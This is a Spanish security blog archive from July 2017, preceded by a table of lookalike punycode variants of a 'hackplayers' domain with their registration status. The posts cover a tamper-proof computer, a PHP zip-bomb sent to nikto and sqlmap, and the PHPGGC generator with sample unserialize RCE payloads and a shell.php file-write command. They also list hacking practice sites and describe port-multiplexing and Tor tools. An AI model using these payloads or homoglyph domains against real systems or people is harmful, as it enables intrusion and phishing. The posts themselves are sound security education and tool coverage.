Punycode                       haćkplaỷȇŕs.net                xn--hakplas-64a02et9ch68n.net  Available
Punycode                       haćkplaỷēŕs.com                xn--hakplays-18a9jn5a.com      Available
Punycode                       һаскрӏаУегѕ.com                xn--v0azanj1a6bg0qx2bog.com    Available
Punycode                       hackplaỷers.co                 xn--hackplaers-lb4e.co         Available
Punycode                       hạćkplàỷẹŕs.com                xn--hkpls-uqa3ymwg32s9gajy.com Available
Punycode                       hạćkplāỷẹŕs.info               xn--hkpls-iwa2b24cg32s9gajy    Not Available
Punycode                       haćkplaỷẹŕs.org                xn--hakplays-18a99e612w        Not Available
Punycode                       hȃćkplạỷẹŕs.org                xn--hkpls-gxa36cl7b7y7l4ga7y   Not Available
Punycode                       hạćkplạỷẹŕs.net                xn--hkpls-gxa36c188pea4v7y.net Available
Punycode                       hàćkplạỷẹŕs.net                xn--hkpls-rqa7ylwl32s4ga7y.net Available
Punycode                       haćkplaỷẹŕs.co                 xn--hakplas-64a02eh56uqta.co   Available
Punycode                       haćkplaỷeŕs.co                 xn--hakplaes-18a99eu24w.co     Available
Punycode                       haćkplaỷèŕs.co                 xn--hakplas-7xa8y31au24w.co    Available
Punycode                       hackplaỷeŕs.co                 xn--hackplaes-d0b8554f.co      Available
Punycode                       hạćkpláỷẹŕs.org                xn--hkpls-0qa6xmwg32s9gajy     Not Available
Punycode                       haćkplaỷȇŕs.org                xn--hakplas-64a02et9ch68n      Not Available
Punycode                       haćkplaỷèŕs.info               xn--hakplas-7xa8y31au24w       Not Available
Punycode                       haćkplaỷẹŕs.com                xn--hakplas-64a02eh56uqta.com  Available
Punycode                       haćkplaỷèŕs.com                xn--hakplas-7xa8y31au24w.com   Available
Punycode                       hackplaỷeŕs.com                xn--hackplaes-d0b8554f.com     Available
Punycode                       haćkplaỷȇŕs.com                xn--hakplays-18a99ek3d.com     Available
Punycode                       háćkpláýéȓs.co                 xn--hkpls-xqad8d0jud80m.co     Available
Punycode                       háćkpláýéȓs.org                xn--hkpls-xqad8d0jud80m        Not Available
Punycode                       hạćkplȃỷẹŕs.com                xn--hkpls-gxa36cp7byy7l9gajy.com Available
Punycode                       hàćkplạỷẹŕs.com                xn--hkpls-rqa7ylwl32s4ga7y.com Available
Punycode                       haćkplaỷéŕs.com                xn--hakplas-gya9x31au24w.com   Available
Punycode                       haćkplaỷēŕs.org                xn--hakplas-64a6iw3au12x       Not Available
Punycode                       haćkplaỷeŕs.org                xn--hakplaes-18a99eu24w        Not Available
Punycode                       haćkplaỷeŕs.org                xn--hakplayes-wdb87f           Not Available
Punycode                       hạćkpláỷẹŕs.net                xn--hkplys-sta41alyr75uzha.net Available
Punycode                       hạćkplȃỷẹŕs.com                xn--hkplys-b1a24d22c9z3nzha.com Available
Punycode                       hāćkplạỷẹŕs.com                xn--hkpls-fwa6b30cl32s4ga7y.com Available
Punycode                       hạćkplāỷẹŕs.com                xn--hkplys-6za8b56cr75uzha.com Available
Punycode                       hạćkplȃỷẹŕs.org                xn--hkplys-b1a24d22c9z3nzha    Not Available
Punycode                       haćkplaỷȇŕs.net                xn--hakplays-18a99ek3d.net     Available
Punycode                       hạćkplạỷẹŕs.com                xn--hkpls-gxa36c188pea4v7y.com Available
Punycode                       hȃćkplạỷẹŕs.com                xn--hkpls-gxa36cl7b7y7l4ga7y.com Available
Punycode                       haćkplaỷéŕs.net                xn--hakplays-h1a80ax3a.net     Available
Punycode                       haćkplaỷéŕs.net                xn--hakplas-gya9x31au24w.net   Available
Punycode                       hāćkplạỷẹŕs.com                xn--hkplys-3za2c82cw75uuha.com Available
Punycode                       haćkplaỷẹŕs.co                 xn--hakplays-18a99e612w.co     Available
Punycode                       haćkplaỷȇŕs.org                xn--hakplays-18a99ek3d         Not Available
Punycode                       hạćkplạỷẹŕs.info               xn--hkpls-gxa36c188pea4v7y     Not Available
Punycode                       hackplaýers.info               xn--hackplaers-reb             Not Available
Punycode                       haćkplaỷèŕs.org                xn--hakplays-70a81ax3a         Not Available
Punycode                       haćkplaỷéŕs.info               xn--hakplays-h1a80ax3a         Not Available
Punycode                       haćkplaỷèŕs.com                xn--hakplays-70a81ax3a.com     Available
Punycode                       háćkplạỷẹŕs.net                xn--hkplys-pta81akyw75uuha.net Available
Punycode                       hạćkplāỷẹŕs.co                 xn--hkpls-iwa2b24cg32s9gajy.co Available
Punycode                       haćkplaỷȇŕs.co                 xn--hakplas-64a02et9ch68n.co   Available
Punycode                       hạćkplàỷẹŕs.co                 xn--hkpls-uqa3ymwg32s9gajy.co  Available
Punycode                       haćkplaỷéŕs.org                xn--hakplas-gya9x31au24w       Not Available
Punycode                       haćkplaỷèŕs.org                xn--hakplas-7xa8y31au24w       Not Available
Punycode                       háćkplạỷẹŕs.co                 xn--hkpls-xqa0ylwl32s4ga7y.co  Available
Punycode                       hạćkplāỷẹŕs.org                xn--hkpls-iwa2b24cg32s9gajy    Not Available
Punycode                       haćkplaỷȇŕs.info               xn--hakplas-64a02et9ch68n      Not Available
Punycode                       háćkpláýéȓs.com                xn--hkpls-xqad8d0jud80m.com    Available
Punycode                       hackplaỷeŕs.org                xn--hackplaes-d0b8554f         Not Available
Punycode                       hackplaỷeȓs.co                 xn--hackplaes-nkd8642f.co      Available
Punycode                       háćkplạỷẹŕs.com                xn--hkpls-xqa0ylwl32s4ga7y.com Available
Punycode                       haćkplaỷēŕs.com                xn--hakplas-64a6iw3au12x.com   Available
Punycode                       hackplaỷeȓs.info               xn--hackplaes-nkd8642f         Not Available
Punycode                       hạćkplāỷẹŕs.com                xn--hkpls-iwa2b24cg32s9gajy.com Available
Punycode                       hạćkplāỷẹŕs.net                xn--hkpls-iwa2b24cg32s9gajy.net Available
Punycode                       haćkplaỷèŕs.net                xn--hakplas-7xa8y31au24w.net   Available
Punycode                       haćkplaỷẹŕs.net                xn--hakplas-64a02eh56uqta.net  Available
Punycode                       hackplaỷeŕs.net                xn--hackplaes-d0b8554f.net     Available
Punycode                       haćkplaỷeŕs.org                xn--hakplayers-rhb             Not Available
Punycode                       hạćkplȃỷẹŕs.net                xn--hkplys-b1a24d22c9z3nzha.net Available
Punycode                       hạćkplȃỷẹŕs.org                xn--hkplyrs-54a58t995jzha      Not Available

↧

ORWL: el ordenador físicame seguro de código abierto

July 4, 2017, 1:58 pm

≫ Next: Defiende tu sitio web con ¡bombas zip!

≪ Previous: Catphish, la mano derecha del phising

Hoy en día, tener acceso físico a un ordenador equivale prácticamente a poder acceder (y modificar) sus datos y ORWL precisamente tiene como objetivo impedirlo. Hablamos de un mini-ordenador que cabe en la palma de la mano, con un precio no tan "mini" a partir de 1500€, que fue diseñado específicamente para tener la mayor seguridad física posible, previniendo la manipulación no detectada con cualquiera de sus componentes eléctricos, incluyendo la placa base y sus componentes y la unidad de almacenamiento. De hecho, cuando se detecta una manipulación indebida, ORWL borra de forma inmediata e irrevocable todos sus datos, incluso si se desenchufa en ese momento.

Sus características más importantes son:

- cada ORWL viene con un llave de seguridad (key fob) que utiliza la misma tecnología de autenticación que las tarjetas inteligentes, con la capacidad añadida que detecta la proximidad. Después del emparejamiento inicial de la llave con la ORWL, se utiliza la comunicación de campo cercano (ff) para autenticar al usuario, momento en el que la llave utiliza Bluetooth (BLE) para supervisar si el usuario está dentro del alcance. Una vez que un usuario salga del rango, ORWL se bloqueará, requiriendo la autenticación NFC de la llave de seguridad para desbloquear. La comunicación entre la key fob y el ordenador está cifrada y los códigos (incluido el UUID) se actualizan de forma sincronizada de forma periódica.

- el sistema ORWL entero está envuelto en una especie de malla activa formada por una estructuración directa de láser (LDS), una técnica para crear un material de resina con circuitos finamente impresos diseñados para romperse cuando se perforan. Si se abre esta malla se liberarán los interruptores de presión, lo que hará que el microcontrolador elimine la clave de cifrado del SSD. El microcontrolador monitoriza constantemente la malla enviando datos aleatorios a través de ella y midiendo la impedancia de cada traza. Perforar o cortar la cubierta del LDS rompe la continuidad del circuito impreso, dando lugar nuevamente a la eliminación de la clave de cifrado. El cortocircuito, el bypass o el cambio de cualquier otra forma de la geometría de cualquiera de las trazas resultará en un cambio de impedancia, que de manera similar da lugar a la supresión de la clave de cifrado. Las huellas del circuito impreso son de espesor micrométrico, tienen una anchura nominal de 0,3 mm y un espaciamiento nominal de 0,5 mm así que podríamos decir que prácticamente esta malla impide el acceso a cualquier componente de hardware o, si se hace, se destruye la clave de cifrado. Después de volver a cerrarlo se tendrá que generar una nueva clave de cifrado SSD y reinstalar todo el sistema.

- ORWL tiene un microcontrolador seguro con batería (MAX32550 DeepCover Secure Cortex-M3) integrado en la placa base. Éste comprueba la integridad del firmware antes de arrancar, controla la energía de la plataforma Intel que ejecuta el sistema operativo, tiene un interfaz directo con una pantalla OLED, un gateway NFC y BLE para comunicarse con la llave de seguridad y monitoriza constantemente una unidad de medición inercial, una malla activa, la temperatura interna y la tensión de entrada para cualquier manipulación. La batería puede durar cerca de seis meses sin estar conectado a la energía.
Además este chip trae protección de escaneo de canales laterales, almacenamiento de claves basadas en flip-flop, SNVRAM cifrada, protección de glitching, aceleración de cifrado, pantalla de matriz con detección dinámica de fallos, control de temperatura, reloj en tiempo real integrado y monitorización del sensor de la malla.

- la unidad de almacenamiento es un SSD 540s de Intel que admite de forma nativa el cifrado de unidad completa. La clave criptográfica de la unidad se genera y almacena dentro del microcontrolador seguro. El microcontrolador seguro proporciona esta clave al SSD sólo después de verificar la integridad del sistema. Tras cualquier manipulación, el microcontrolador borra instantáneamente la clave de cifrado, causando la pérdida irrevocable de todos los datos en el SSD.

- es de código abierto. Se busca que el funcionamiento interno de ORWL sea transparente, para que pueda recibir la inspección necesaria para tener una confianza real.

Web principal: https://orwl.org/

↧

Defiende tu sitio web con ¡bombas zip!

July 6, 2017, 8:06 am

≫ Next: PHPGGC (PHP Generic Gadget Chains): generador de payloads para unserialize()

≪ Previous: ORWL: el ordenador físicame seguro de código abierto

Hoy en el blog de Christian Haschek leía una curiosa contramedida contra escáneres de vulnerabilidades web automáticos. Se trata de servir una bomba zip (en formato gzip para que lo "entiendan" los navegadores web) para que, cuando el servidor detecte actividad de una estas herramientas automáticas, envíe el archivo para que sea procesado y agote los recursos (memoria y disco) de la máquina del atacante.

Para crear una bomba sencilla, un fichero lleno de ceros, podemos ejecutar el siguiente comando desde la consola:

$ dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
10240+0 records in
10240+0 records out
10737418240 bytes (11 GB, 10 GiB) copied, 67,6557 s, 159 MB/s

$ du -sh 10G.gzip 
10M    10G.gzip

Como veis, hemos creado un fichero de 10M que se convertirá en 10GB al descomprimirse. Ahora, para construir una simple defensa simplemente usa un pequeño script que, dependiendo del User-Agent, enviará la "bomba" creada:

<?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}

function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}

function startsWith($haystack,$needle){
    return (substr($haystack,0,strlen($needle)) === $needle);
}

Como dice su autor, no es la "panacea" puesto que todos sabemos que cambiar el User-Agent es trivial, pero ya supondría una molestia para script kiddies y podrían implementarse otros triggers (por número de peticiones, IPs o países, payloads, etc.).

El resultado dependiendo del navegador o herramienta utilizada sería el siguiente:

- IE 11: se incrementa la memoria, IE se bloquea
- Chrome: se incrementa la memoria, se muestra un error
- Edge: se incrementa la memoria, luego drippea y carga en bucle
- Nikto: parece escanear bien pero no reporta nada (ninguna salida)
- SQLmap: alto uso de memoria hasta que se bloquea

Fuente: How to defend your website with ZIP bombs

↧

PHPGGC (PHP Generic Gadget Chains): generador de payloads para unserialize()

July 6, 2017, 3:58 pm

≫ Next: Lista de recursos para aprender ingeniería inversa

≪ Previous: Defiende tu sitio web con ¡bombas zip!

El uso de unserialize() con entradas inseguras ha sido durante años una vulnerabilidad muy presente y muchos CMS o frameworks se han abstenido de usarlo a favor del json_decode(), más seguro. Sin embargo, todavía se sigue usando, especialmente en sitios web "hechos a medida", aunque su explotación puede ser complicada si no se conoce el código.

Para un pentester que descubre una manera de deserializar datos el problema está en encontrar gadgets correctos. Si el código es desconocido, uno tiene que recurrir a un exploit binario, que puede ser, aunque factible, muy lento. Aunque cada vez más los desarrolladores web optan por utilizar frameworks y/o bibliotecas en lugar de programar todo desde cero. Tenemos ejemplos como Laravel, Symfony, Zend, Code Igniter para frameworks o Monolog, SwiftMailer para bibliotecas.

Si además tenemos en cuenta que se utiliza a menudo el mecanismo de autoload y que se pueden detectar las dependencias (por ejemplo, a través de composer.json), explotar con éxito unserialize() en entornos desconocidos se basa sólo en la construcción de payloads de gadgets extraídos de bibliotecas comunes. Si no se puede identificar ninguna biblioteca, probar payloads uno a uno sigue siendo una opción.

Por lo tanto, resulta tremendamente interesante construir una biblioteca de cadenas de gadgets, de manera similar a ysoserial de Java. Y con esa intención Ambionics Security ha creado PHPGGC (PHP Generic Gadget Chains): una biblioteca de payloads unserialize() junto con una herramienta para generarlas desde la línea de comandos o mediante programación. Uno sólo tiene que seleccionar una cadena de gadget, especificar el comando(s) que quiere ejecutar y se muestra el payload correspondiente.

De momento ya tienen payloads para las últimas versiones de:

Laravel
Symfony
SwiftMailer
Monólogo
SlimPHP
Doctrina
Engullir

Instalación y parámetros disponibles:

$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ ./phpggc 

PHPGGC: PHP Generic Gadget Chains
---------------------------------

Usage
  ./phpggc [-h|-l|-w|-h|-s|-u|-b] <GadgetChain> [arguments]

Optional parameters
  -h Displays advanced help
  -l Lists available gadget chains
  -w <wrapper>
     Specifies a file containing a function: wrapper($payload)
     This function will be called before the generated gadget is serialized.
  -s Soft URLencode
  -u URLencodes the payload
  -b Converts the output into base64

Examples
  ./phpggc Laravel/RCE1 'phpinfo().die();'
  ./phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/local_file_to_write

Payloads disponibles:

$ ./phpggc -l

Gadget Chains
-------------

Name           : Doctrine/FW1
Version        : ?
Type           : file_write
Vector         : __toString
Informations   : 
We do not have full control of the path. If you enter /var/www/toto/shell.php as the remote_path, 
it will be converted to /var/www/toto/e3/5b737464436c61737324434c4153534d455441444154415d5b315d/shell.php.
Only the extension and base path are kept.

Name           : Guzzle/FW1
Version        : 6.0.0 <= 6.3.0
Type           : file_write
Vector         : __destruct

Name           : Laravel/RCE1
Version        : 5.4.27
Type           : rce
Vector         : __destruct

Name           : Monolog/RCE1
Version        : 1.18 <= 1.23
Type           : rce
Vector         : __destruct

Name           : Monolog/RCE2
Version        : 1.5 <= 1.17
Type           : rce
Vector         : __destruct

Name           : Slim/RCE1
Version        : 3.8.1
Type           : rce
Vector         : __toString

Name           : SwiftMailer/FW1
Version        : 5.1.0 <= 5.4.8
Type           : file_write
Vector         : __toString

Name           : SwiftMailer/FW2
Version        : 6.0.0 <= 6.0.1
Type           : file_write
Vector         : __toString

Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

Ejemplos de uso:

Una vez que haya seleccionado una cadena, hay que ejecutar ./phpggc

<gadget-chain> [parameters] para obtener el payload.

Por ejemplo, para obtener un payload para Monolog se haría lo siguiente:

$ ./phpggc monolog/rce1 'phpinfo();'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Y si lo añadimos en el sitio correcto obtendremos:

Otro ejemplo, para escribir un archivo usando SwiftMailer:

$ echo 'It works !'> /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Los parámetros permiten modificar la salida del payload. Por ejemplo, -u lo codificará URL y -b lo convertirá en base64. Los payloads suelen contener NULL bytes y no se pueden copiar/pegar tal cual. Con -s se realiza una codificación que mantiene el payload legible.

La opción -w permite definir un archivo PHP que contenga una función wrapper ($chain). Esto se llamará después de que se construya la cadena, pero antes de serialize(), para ajustar la forma del payload. Por ejemplo, si el código vulnerable tiene este aspecto:

$data = unserialize($_GET['data']);
print $data['message'];

Podemos usar una cadena __toString (), envolviéndola de la siguiente manera:

# /tmp/my_wrapper.php

function wrapper($chain)
{
    return array(
        'message' => $chain
    );
}

Y llamar a phpggc así:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();'
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

Github: https://github.com/ambionics/phpggc
Fuente: https://www.ambionics.io/blog/php-generic-gadget-chains

↧

Lista de recursos para aprender ingeniería inversa

July 10, 2017, 12:50 am

≫ Next: 15 sitios para practicar hacking (legalmente) este verano

≪ Previous: PHPGGC (PHP Generic Gadget Chains): generador de payloads para unserialize()

Empezamos la semana con un recopilatorio de enlaces para aprender/repasar ingeniería inversa de Jackson Thuraisamy de Security Compass. Básicamente es una serie de recursos que su autor fue recopilando mientras estuvo aprendiendo a encontrar vulnerabilidades de corrupción de memoria en Windows. El resultado es una lista bastante actualizada y variada con vídeos, artículos, tutoriales, writeups, etc., que siempre conviene tener a mano para revisar. Aquí os la dejo:

↧

15 sitios para practicar hacking (legalmente) este verano

July 11, 2017, 4:26 pm

≫ Next: sshttpd: SSH y HTTP/SMTP en el mismo puerto

≪ Previous: Lista de recursos para aprender ingeniería inversa

Llega el verano, el calor infernal, la jornada intensiva y las siestas (para algunos afortunados), la piscina y la playa, los chiringuitos y las terracitas... y es relativamente difícil seguir enganchado a un ordenador, más aún una vez que se sale de la cueva ;). Pero para aquellos que aún mantengan la actitud inquebrantable de seguir practicando o tengan la necesidad de recuperar "asignaturas de hacking" para la vuelta al cole en septiembre, os dejo 15 sitios vulnerables para practicar (no sólo inyecciones SQL) que ví en la web de Arkdots:

1. BWAPP

Buggy Web Application de Malik Mesellem es una aplicación web con bugs diseñada para que practiquen estudiantes y pen-testers. Ofrece todos los posibles errores conocidos incluyendo los del proyecto OWASP Top 10 y más de 100 vulnerabilidades. Es una aplicación basada en PHP que utiliza como base de datos MySQL. Puede usarse en Linux o Windows. También ofrece tutoriales. Puede descargarlo desde http://www.itsecgames.com/.

2. Damn Vulnerable iOS application (DVIA)

Esta es una de las pocas aplicaciones móviles para desarrolladores de aplicaciones móviles de iOS. DVIA cubre casi todas las posibles vulnerabilidades y está especialmente diseñada para poner a prueba de forma legal las habilidades de intrusión en aplicaciones iOS. Funciona con iOS versión 7 y superior. También ofrece formación y soluciones a la mayoría de los problemas que los desarrolladores de iOS se enfrentan. Puedes aprender más sobre DVIA en http://damnvulnerableiosapp.com/.

3. Game of Hacks

Game of Hacks es en realidad un juego para probar las habilidades para encontrar bugs y vulnerabilidades en código. Se tienen que cumplir ciertos hitos en un tiempo limitado y se puede añadir tu propio código para obtener retroalimentación de otros jugadores. Se puede jugar a Game of Hacks como un solo jugador o desafiar a un amigo. Ofrecen tres niveles diferentes (principiante, wannabe,y avanzado). Puedes jugar a este juego aquí: http://www.gameofhacks.com/.

4. Google Gruyere

Google Gruyere ayuda en el aprendizaje de tres habilidades básicas:

- encontrar vulnerabilidades de seguridad.
- aprender a aprovechar estas vulnerabilidades como un hacker profesional
- aprender a ocultar bugs y vulnerabilidades a los hackers

Podemos encontrar varios errores de seguridad en Gruyere: XSS (Cross site scripting), XSSI (Cross site script inclusion), DOS (denegación de servicio), filtrado de información y ejecución remota de código. Este codelab se diseñó para aprender a encontrar estos errores y arreglarlos tanto en un entorno real como en Google Gruyere. Para más información visita el sitio web oficial de Google Gruyere: https://google-gruyere.appspot.com/.

5. HackThis !!

Con HackThis !! se puede aprender mucho acerca de la seguridad del sitio web propio. Ofrecen más de 50 niveles que cubren todos los aspectos de hacking, dumping y defaces de un sitio web. También tienen un foro con numerosos usuarios activos y artículos. Es posible registrarse en su sitio web utilizando la cuenta de Facebook o correo electrónico. Puedes visitar su sitio web oficial en https://www.hackthis.co.uk/.

6. Hack this site

Hack this site es una gran plataforma para aumentar las habilidades de hacking. Tienen una gran variedad de retos para practicar. También tienen un gran blog y un foro activo. Puede visitar su sitio web oficial en https://www.hackthissite.org/.

7. Hellbound Hackers

Hellbound Hackers es una gran fuente de información con un montón de retos para aprender a identificar y solucionar problemas en el código. Sus artículos son muy informativos. El foro de Hellbound Hackers es también muy activo. Para más info visita su sitio web oficial: https://www.hellboundhackers.org/.

8. McAfee HacMe Sites

McAfee tiene un buen número de sitios que ofrecen escenarios reales con problemas de la vida real. Tienen una amplia variedad de aplicaciones de viajes, envío, casino, banco y muchas más. Cada proyecto tiene su propio conjunto de vulnerabilidades y desafíos.

Puedes buscar "sitios de McAfee HacMe" en Google para descargar Hacme Bank, Hacme Books, Hacme Bank para Android, Hacme Casino, Hacme Shipping y Hacme Travel.

9. Mutillidae 2

El proyecto OWASP Mutillidae 2 es una aplicación web deliberadamente vulnerable para los auditores y entusiastas de la seguridad. Es ampliamente utilizado en cursos de seguridad en todo el mundo. Mutillidae se puede utilizar en Linux y Windows. También ofrece sugerencias para los estudiantes que lo hace fácil de usar. Puedes descargar Mutillidae 2 y aprender más sobre el mismo en su página web oficial: https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project.

10. OverTheWire

OverTheWire es una forma divertida de practicar y aprender conceptos de seguridad web y de aplicaciones. Ofrecen juegos con niveles desde principiante a avanzado. Puedes comenzar con bandit que es bastante fácil antes de avanzar a los más difíciles como el laberinto, drifter, semtex y manpage. Cada juego es diferente de sus predecesores. Puedes jugar haciendo clic aquí: http://overthewire.org/wargames/.

11. Peruggia

Peruggia es otra plataforma para aprender sobre ataques comunes y defensa en aplicaciones web. Es una forma totalmente segura y legal para practicar y te ayudará a localizar y resolver problemas en sitios web para limitar el riesgo de seguridad. Puedes descargar peruggia desde https://sourceforge.net/projects/peruggia/.

12. Root Me

Root Me ofrece más de 250 retos únicos y más de 50 entornos virtuales para practicar tus habilidades de hacking. Todos estos retos pedirán que se practiquen casi 1900 soluciones para mejorar. Para más info visita el sitio web oficial: https://www.root-me.org/?lang=en.

13. Try2Hack

Try2Hack es uno de los sitios más antiguos para practicar hacking y skills de seguridad. Ofrecen un montón de retos para mejorar las habilidades para localizar y solucionar el problema. Tienes que seguir las reglas establecidas por el admin para practicar en Try2Hack. También puedes unirte al canal IRC para hacer preguntas para encontrar ayuda. Puedes comenzar desde su sitio web oficial: http://www.try2hack.nl/.

14. Vicnum

Vicnum es un proyecto de OWASP que consiste en juegos basados en aplicaciones web vulnerables. Puede practicar XSS y SQL. También se puede ajustar esta aplicación para adaptarse a un requisito específico propio que lo hace mejor para los profesores. Puedes ver el CTF y jugar en su sitio web oficial: http://vicnum.ciphertechs.com/.

15. WebGoat

WebGoat es uno de los proyectos más populares de OWASP. Está diseñado deliberadamente con muchas vulnerabilidades para enseñar la seguridad de las aplicaciones web. Esta es una buena fuente para el aprendizaje de seguridad de aplicaciones web complejas en un entorno realista. Puedes instalarlo en Linux, OSX y Windows. WebGoat también tiene dos versiones diferentes para .NET y J2EE. Puedes descargar y obtener más información sobre WebGoat desde su sitio web oficial: https://github.com/WebGoat/WebGoat.

pd. Se agradecen comentarios con sitios adicionales :)

↧

sshttpd: SSH y HTTP/SMTP en el mismo puerto

July 13, 2017, 3:37 pm

≫ Next: Mini-tor: una pequeña herramienta que implementa Tor usando Microsoft CNG/CryptoAPI

≪ Previous: 15 sitios para practicar hacking (legalmente) este verano

¿Tienes un servidor en la DMZ o red interna al que sólo se puede acceder externamente por HTTP? ¿Necesitas acceder también por SSH para administrar el servidor (o pivotar a través de él) pero el firewall sólo permite el acceso a un único puerto? No hay problema, con sshttpd es posible multiplexar dos protocolos para acceder a ambos por el mismo puerto:

- SSH/HTTP
- SSH/HTTPS
- SSH/SMTP (sin banners SMTP multilínea)
- HTTPS SNI multiplexing
- SSH/HTTPS con SNI multiplexing

El multiplexado se realiza en la misma dirección IP/IP6 a la que se conectan desde el exterior, así que básicamente sólo cambian los puertos según el servicio detectado.
Podríamos decir que sshttpd es un demonio de conmutación o switching que trabaja en la capa 5 OSI. En el ejemplo más común, se ejecuta de forma transparente en HTTP(S) (opción -L, por defecto 80) y decide si las conexiones entrantes son tráfico SSH o HTTP(S). Si es tráfico HTTP (S) lo redirecciona al puerto definido en HTTP_PORT (-H, por dec 8080) y si el tráfico es SSH a SSH_PORT (-S, por defecto 22), respectivamente.

Instalación y uso

Primero hay que asegurarse de tener la última versión disponible del kernel de Linux y tener instalado nf-conntrack así como libcap y libcap-devel (función capability).

$ git clone https://github.com/stealth/sshttp.git
$ cd sshttp
$ make

Luego hay que editar el script nf-setup indicando el interfaz de red y los puertos (22 y 8080 van bien para el caso de SSH/HTTP) y ejecutarlo para instalar las reglas de proxy (iptables y rutas).
Ni que decir tiene que sshd debe ejecutarse en $SSH_PORT y el servidor web en $HTTP_PORT indicados, y luego ejecutar sshttpd (como root):

# ./nf-setup
Using network device eth0
Setting up port 22 ...
Setting up port 8080 ...
# ./sshttpd -S 22 -L 80 -H 8080 -U nobody -R /var/empty
sshttpd: Using HTTP_PORT=8080 SSH_PORT=22 and local port=80. Going background. Using caps/chroot.
#

Si lo que se quiere es multiplexar SMTP con sshttpd, hay que indicar el puerto 25 con el parámetro -L, 2525 con el parámetro -H y configurar el demonio SMTP para escuchar en 2525. A continuación, editar el script ns-setup para que coincida con estos puertos. En el Makefile, cambiar también SMTP_DOMAIN y SSH_BANNER según necesidades (SSH_BANNER debe coincidir exactamente con el que ejecuta sshd). El multiplexado de SMTP/SSH se ha probado con el cliente OpenSSH y el cliente y el servidor Postfix.

Cuando se multiplexan conexiones IPv6, la configuración es básicamente la misma, sólo hay que usar nf6-setup e invocar sshttpd con -6.

Configuración de proxy transparente

Se puede ejecutar sshttpd en la puerta de enlace como si fuera un proxy transparente y que multiplexe todo el tráfico HTTP(S)/SSH hacia la LAN interna. Para ello, sólo hay que ejecutar sshttpd -T y usar nf-tproxy en lugar de nf-setup como plantilla de instalación FW. Tener en cuenta que hay que configurar con cuidado nf-tproxy para no perder la conexión, y todos los dispositivos de red y las direcciones IP deben corresponder con las opciones correspondientes.

SNI Mux

Con sshttpd también se puede hacer multiplexado basado en el SNI HTTPS. Sólo hay que configurar el nf-setup para contener los puertos SNI (ya hay ejemplos) e invocar sshttpd con el parámetro -N name:port.

Por ejemplo el comando "sshttpd -S 22 -H 4433 -L 443 -N drops.v2:7350" se oculta un servicio sshd en el puerto 22 y un drops en el puerto 7350 detrás del puerto 443, y al mismo tiempo sirve también a su servidor web desde el puerto 4433 para ser visible al exterior en el puerto 443. Esto funciona porque drops establece el SNI de drops.v2 en conexiones salientes.

Con el parámetro -N se permite multiplexar una gran cantidad de servicios a través de SNI. Los puertos/servicios deben ejecutarse todos en la misma máquina a la que la solicitud original fue dirigida. Si lo que desea es un mux basado en SNI, se puede establecer el puerto SSH a través -S 0 0.

Miscelánea

Para que funcione sshttpd no es necesario parchear el software de servidor ssh/web/cliente SMTP. Funciona como es. Sshttpd sólo se ejecuta en Linux y necesita soportar IP_TRANSPARENT. Funcionaría sin ello, pero mediante el uso de IP_TRANSPARENT es posible incluso tener logs de sistema (syslog) sin modificar, por ejemplo, la IP/puerto origen real de las conexiones entrantes se pasa tal cual a los servidores SSH/HTTP/SMTP.

Hay que asegurarse de que se cargan los módulos nf_conntrack y nf_conntrack_ipv4 o nf_conntrack_ipv6. Sshttpd también puede proteger contra posibles 0-days y una medida contra escaneos y ataques de fuerza bruta. Sshttpd ocupa poco espacio y se ha optimizado para la velocidad por lo que también se ejecuta en servidores web muy cargados.

Desde la versión 0.24, sshttpd también soporta múltiples núcleos de CPU. Al menos que se utilice el parámetro -n 1, sshttpd usa un thread por núcleo de la CPU para explotar mejor el hardware.

sshttpd se ejecuta con el usuario nobody dentro de un chroot () (configurable a través -U y -R) si se compila con USE_CAPS. También puede distinguir entre sesiones SSH y SSL, sólo hay utilizar un LOCAL_PORT (-L) de 443.

Github: https://github.com/stealth/sshttp

↧

Mini-tor: una pequeña herramienta que implementa Tor usando Microsoft CNG/CryptoAPI

July 14, 2017, 6:29 am

≫ Next: M/o/Vfuscator o cómo hacer llorar a un reverser

≪ Previous: sshttpd: SSH y HTTP/SMTP en el mismo puerto

Mini-tor es una utilidad de prueba de concepto para acceder a contenidos de Internet y a contenidos ocultos (.onion) a través de los routers tor. Esta herramienta está optimizada para ser lo más pequeña posible (actualmente ~45kb, comprimido con kkrunchy ~19kb), que se logra mediante el uso de Microsoft CryptoAPI/GNC en lugar de embeber OpenSSL.

Uso

Accediendo a Internet a través de mini-tor:

> mini-tor.exe "http://torstatus.blutmagie.de/router_detail.php?FP=847b1f850344d7876491a54892f904934e4eb85d"

Accediendo a Servicios Ocultos a través de mini-tor:

> mini-tor.exe "http://duskgytldkxiuqc6.onion/fedpapers/federndx.htm"

Características

- Mini-tor es compatible con handshakes TAP y NTOR:
      . TAP utiliza DH de 1024 bits.
      . NTOR es un handshake más nuevo y utiliza curve25519.
- Mini-tor puede utilizar CryptoAPI o el más reciente API GNC.
. es configurable a través de mini/crypto/COMMON.H.
      . ten en cuenta que curve25519 es soportado por GNC sólo en win10+.
